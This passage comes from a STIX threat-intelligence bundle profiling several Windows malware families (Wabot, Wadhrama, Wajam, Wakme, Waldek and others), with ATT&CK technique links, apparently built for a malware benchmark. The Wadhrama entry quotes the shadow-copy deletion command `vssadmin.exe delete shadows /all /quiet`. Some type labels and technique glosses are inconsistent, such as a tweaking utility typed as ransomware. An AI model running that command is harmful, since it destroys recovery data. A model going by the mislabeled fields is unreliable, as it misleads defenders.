      "description": "Trojan:Win32/Vz2au4dpceii (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Vz2au4dpceii' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vz2Au4Dpceii",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vz2au4dpceii"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf455584-2f96-5bf3-9277-b829a28b023e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdfe6ab0-76a7-5701-94a0-8156a6dc0812",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vz2Au4Dpceii exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1a28daf-ba0d-5f3e-96d7-07995bc454d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdfe6ab0-76a7-5701-94a0-8156a6dc0812",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vz2Au4Dpceii exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--311135da-8ec5-583b-b1b0-87b723e0c643",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdfe6ab0-76a7-5701-94a0-8156a6dc0812",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vz2Au4Dpceii exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a9bba64-2ead-5c6c-9048-128446a1d48e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "W10Tweak",
      "description": "<h3>Executive Summary</h3>\nW10Tweak (often flagged as HackTool.Win32.W10Tweak or Riskware.Win10Tweaker) is a classification for various third-party utilities designed to heavily modify, optimize, or \"de-bloat\" the Windows 10 operating system. While some users intentionally download these tools to alter deep system settings, they are frequently flagged by enterprise security software. This is because they utilize aggressive, undocumented APIs to disable critical security services (like Windows Defender, UAC, or Telemetry), significantly reducing the endpoint's security posture and mimicking the initial actions of modern ransomware.\n\n<h3>Technical Behavior and Exploitation Mechanics</h3>\nW10Tweak utilities are typically portable executables that require Administrator privileges to run. They are rarely distributed via malicious spam; instead, they are downloaded by users seeking to \"optimize\" their systems from third-party forums or file-sharing sites.\n\nThe core risk lies in their capabilities, which are frequently abused by threat actors:\n<ul>\n<li><strong>Security Feature Evasion:</strong> These tools systematically disable core OS defenses. They often add broad exclusion paths to Windows Defender, disable the Anti-Malware Scan Interface (AMSI), and shut down the Windows Update service. Threat actors frequently package a stripped-down version of a W10Tweak tool within their droppers to silently cripple defenses before executing their primary payload.</li>\n<li><strong>Registry and Service Sabotage:</strong> To \"de-bloat\" the OS, W10Tweak modifies hundreds of undocumented registry keys and forcefully terminates Windows services (e.g., BITS, DiagTrack). This can lead to severe system instability, application crashes, and the inability to apply critical security patches.</li>\n<li><strong>Network Modification:</strong> Some tweakers alter the local `HOSTS` file or DNS settings to block Microsoft telemetry servers, which can inadvertently break enterprise network configurations or VPN tunnels.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe execution of W10Tweak in a corporate environment is a critical compliance and security violation. Even if executed intentionally by a user, it leaves the endpoint \"blind\" and highly vulnerable to subsequent infections. If executed silently in the background, it strongly indicates that a threat actor has gained administrative access and is preparing for a larger attack (like deploying ransomware).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR to monitor for the specific registry modifications associated with these tools (e.g., modifying `DisableAntiSpyware` under `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender`).</li>\n<li><strong>Configuration Enforcement:</strong> Utilize Group Policy Objects (GPOs) or MDM solutions to strictly enforce security settings. If a user or tool attempts to disable Defender or UAC, the GPO should automatically revert the setting upon the next policy refresh.</li>\n<li><strong>System Verification:</strong> If a machine is found running a W10Tweak tool, do not simply remove the executable. The sheer volume of registry modifications often requires reverting the machine to a known-good backup or re-imaging the OS to guarantee stability and security compliance.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.W10Tweak",
        "Riskware.Win10Tweaker",
        "Tool.Win32.W10Tweak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for W10Tweak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/w10tweak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cccfafc-7633-529c-abb1-7b0021323c0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a9bba64-2ead-5c6c-9048-128446a1d48e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "W10Tweak exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a56ff499-970f-554b-b151-becf4e880fc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a9bba64-2ead-5c6c-9048-128446a1d48e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "W10Tweak exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e438e1c6-f5a0-56bd-bd6f-ab7b31cd1343",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a9bba64-2ead-5c6c-9048-128446a1d48e",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "W10Tweak exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wabot",
      "description": "Trojan:Win32/Wabot is a prolific modular botnet trojan and worm designed to compromise Windows endpoints and enlist them into large-scale zombie networks for coordinated distributed denial-of-service (DDoS) campaigns, spam distribution, and malware relaying. Communicating via encrypted HTTP and IRC channels, Wabot connects to attacker command infrastructure to receive real-time execution directives\u2014including SYN/UDP traffic floods, network vulnerability scans, and keylogging. To propagate across corporate environments, Wabot actively scans local subnets and removable USB drives, utilizing deceptive shortcuts and exploiting Windows network vulnerabilities (including Conficker-era NetAPI exploit MS08-067 / CVE-2008-4250) to achieve rapid lateral movement. (Observed samples in benchmark: 1,185)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Wabot",
        "Trojan:Win32/Wabot",
        "Worm.Win32.Wabot",
        "Win32/Wabot",
        "Wabot IRC Bot",
        "Backdoor.Wabot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wabot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wabot"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d20e6f02-70c4-5f92-aaa1-79c7ecb6a849",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d69ad1c2-d009-5428-8efd-d06abe26ef80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1071.002 (IRC Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e14a4fc-3cde-5e55-81cf-0c57cb8ac42b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0874cc81-b7ac-5acb-8225-b6ebb826ea8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d5084b7-2549-55eb-8008-222baae01d35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7db56b5d-5973-5ec5-b6e7-2891f4e5d59f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49189557-d85d-5335-8b59-a3f7e429d4a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5d55b4e-10b7-5f2e-87ad-7a8b621c9a0c",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wabot exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--460f3666-e062-5625-9f56-40576b5d3baa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wadhrama",
      "description": "<h3>Executive Summary</h3>\nWadhrama is a sophisticated, highly disruptive variant of ransomware characterized by its use of robust encryption algorithms and its tendency to target specific, high-value file types (such as databases and server configurations). It is designed to extort cryptocurrency from individuals and organizations by holding their critical data hostage.\n\n<h3>Infection Chain and Execution</h3>\nWadhrama is typically distributed via targeted spear-phishing campaigns containing malicious attachments or through the exploitation of vulnerable, internet-facing Remote Desktop Protocol (RDP) servers. \n\nUpon gaining initial access, Wadhrama executes a rapid, automated attack sequence:\n<ul>\n<li><strong>Privilege Escalation:</strong> It attempts to bypass User Account Control (UAC) or exploit local vulnerabilities to gain administrative or `SYSTEM` level privileges.</li>\n<li><strong>Defense Evasion:</strong> Before encrypting files, it actively attempts to terminate anti-malware processes and stops database services (e.g., MSSQL) to ensure database files are unlocked and available for encryption.</li>\n<li><strong>Encryption and Destruction:</strong> Wadhrama utilizes a combination of symmetric and asymmetric encryption (often AES and RSA) to lock files. It simultaneously executes commands (`vssadmin.exe delete shadows /all /quiet`) to destroy local volume shadow copies, preventing easy recovery.</li>\n<li><strong>Extortion:</strong> A ransom note is deposited in affected directories, instructing the victim on how to purchase the decryption key, usually demanding payment in Bitcoin.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Wadhrama infection results in a catastrophic denial of access to critical business data. Without secure, offline backups, organizations face massive operational downtime, financial loss, and severe reputational damage. Paying the ransom is discouraged, as it offers no guarantee of data recovery and funds further criminal activity.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Offline, Immutable Backups:</strong> The only reliable defense against Wadhrama is a robust 3-2-1 backup strategy, ensuring that at least one copy of critical data is stored offline and is immutable (cannot be altered or deleted).</li>\n<li><strong>RDP Security:</strong> Secure all remote access points. RDP must be placed behind a VPN, secured with Multi-Factor Authentication (MFA), and restricted via strict IP whitelisting.</li>\n<li><strong>Behavioral EDR:</strong> Deploy EDR solutions tuned to immediately block processes attempting mass file modifications or the unauthorized deletion of volume shadow copies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Wadhrama",
        "Win32/Wadhrama",
        "Trojan-Ransom.Wadhrama"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wadhrama",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wadhrama"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11d14ea6-d0fd-570f-8f9c-430577519795",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--460f3666-e062-5625-9f56-40576b5d3baa",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wadhrama exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04975141-5c9b-5805-9e64-734f1aad4f02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--460f3666-e062-5625-9f56-40576b5d3baa",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wadhrama exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02055598-86e8-5760-ad27-5e1684412f01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--460f3666-e062-5625-9f56-40576b5d3baa",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wadhrama exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29334b67-bedf-5cf4-9009-0943089ee2b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--460f3666-e062-5625-9f56-40576b5d3baa",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wadhrama exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c68ea90-8e09-5e13-aaae-86071aef75c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wajam",
      "description": "Wajam (cataloged across security vendor feeds as Adware:Win32/Wajam, Adware.Wajam, SearchProtect, and Wajam Internet Enhancer) is a notorious adware and browser-hijacking framework active since 2013. Deceptively marketed as a 'social search' tool that surfaces recommendations from social media contacts within search engine results, Wajam acts as an invasive Man-in-the-Middle (MitM) traffic interceptor. Bundled primarily inside third-party freeware software installers, Wajam configures a local loopback proxy on the host operating system, routing all web traffic through its local interception engine. To intercept and inject ads into encrypted HTTPS/TLS connections, aggressive variants install a self-signed root certificate (such as WNetEnhance_root_cer) directly into the Windows Trusted Root Certification Authorities store. This allows Wajam to decrypt, inspect, and alter web traffic on major platforms (including Google, Amazon, and Yahoo), injecting sponsored advertisements and search redirects while exfiltrating user browsing habits, presenting a severe privacy and security risk. (Observed samples in benchmark: 131)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Wajam",
        "Adware.Wajam",
        "SearchProtect",
        "Wajam Internet Enhancer",
        "PUP.Optional.Wajam"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wajam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wajam"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb374266-f7f8-511d-bbfa-2e59273920f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c68ea90-8e09-5e13-aaae-86071aef75c4",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wajam exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e27ca4f-7b27-5271-b898-72880f5bad0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c68ea90-8e09-5e13-aaae-86071aef75c4",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wajam exhibits technique T1556 (Modify Authentication Process)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--063e1400-2be7-5812-a078-bbeb2b2e687a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c68ea90-8e09-5e13-aaae-86071aef75c4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wajam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc8a0e1c-4400-529b-ae45-5ac64b3f3044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c68ea90-8e09-5e13-aaae-86071aef75c4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wajam exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d17c2807-77fc-593b-a661-6b8bc150fb43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c68ea90-8e09-5e13-aaae-86071aef75c4",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wajam exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d557440c-d1f2-592c-9a70-1ae176029568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wakme",
      "description": "Wakme (cataloged across security vendors as TrojanDownloader:Win32/Wakme, TROJ_WAKME.A, and Trojan:Win32/Wakme) is a modular trojan downloader and initial access staging tool active since 2013. Engineered to breach endpoint defenses and deliver secondary high-severity payloads\u2014including banking trojans, information stealers, and ransomware droppers\u2014Wakme is commonly distributed through malicious email spam campaigns with weaponized attachments (such as macro-enabled Word documents or compressed ZIP archives) and drive-by web exploit kits. Upon execution, Wakme executes robust anti-analysis and sandbox-evasion routines, verifying system memory, processor core counts, and mouse movement to detect automated analysis environments. If a live victim endpoint is confirmed, Wakme drops a lightweight binary into %TEMP% or %LOCALAPPDATA%, secures autostart persistence via Registry Run keys, and hollows out legitimate Windows processes (such as explorer.exe or svchost.exe) to inject its downloading routine. It establishes encrypted C2 communications, retrieving and executing secondary malware modules. (Observed samples in benchmark: 116)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Wakme",
        "Trojan:Win32/Wakme",
        "TROJ_WAKME.A",
        "Win32/Wakme",
        "Trojan.Wakme"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wakme",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wakme"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf293427-88c9-5f1e-8acc-865e73879192",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d557440c-d1f2-592c-9a70-1ae176029568",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wakme exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c00a4c0-f2b1-50b9-994a-4a920a2b2ba2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d557440c-d1f2-592c-9a70-1ae176029568",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wakme exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74576f18-e360-5594-b93e-d09184b6bec3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d557440c-d1f2-592c-9a70-1ae176029568",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wakme exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0377d5a-e131-5fd5-852b-0d0dd53c0ec2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d557440c-d1f2-592c-9a70-1ae176029568",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wakme exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27a68eb9-5d9f-573f-8271-e6a7778b666f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d557440c-d1f2-592c-9a70-1ae176029568",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wakme exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83f01b70-e7c5-5b99-a588-25351a2274c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Waldek",
      "description": "Waldek (cataloged in antivirus vendor databases and threat intelligence taxonomies under detections including Trojan.Win32.Waldek and Trojan:Win32/Waldek!MSR) is a covert Windows trojan and surveillance backdoor active since 2014. Delivered through bundled freeware installers, torrent file shares, and phishing emails using double-extension naming tricks (e.g., .doc.exe), Waldek deploys multi-stage execution routines to evade endpoint detection. Once active, the trojan establishes persistence by writing autostart values to the Windows registry and dropping hidden payload binaries into system directories. Waldek monitors user activity by capturing keystrokes, recording screenshots, enumerating running applications, and exfiltrating collected data to remote C2 servers over HTTP. Furthermore, it operates as a backdoor loader capable of receiving operator instructions to download and execute secondary malware payloads. (Observed samples in benchmark: 65)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Win32.Waldek",
        "Trojan:Win32/Waldek!MSR",
        "Win32/Waldek",
        "Trojan:Win32/Waldek"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Waldek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/waldek"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
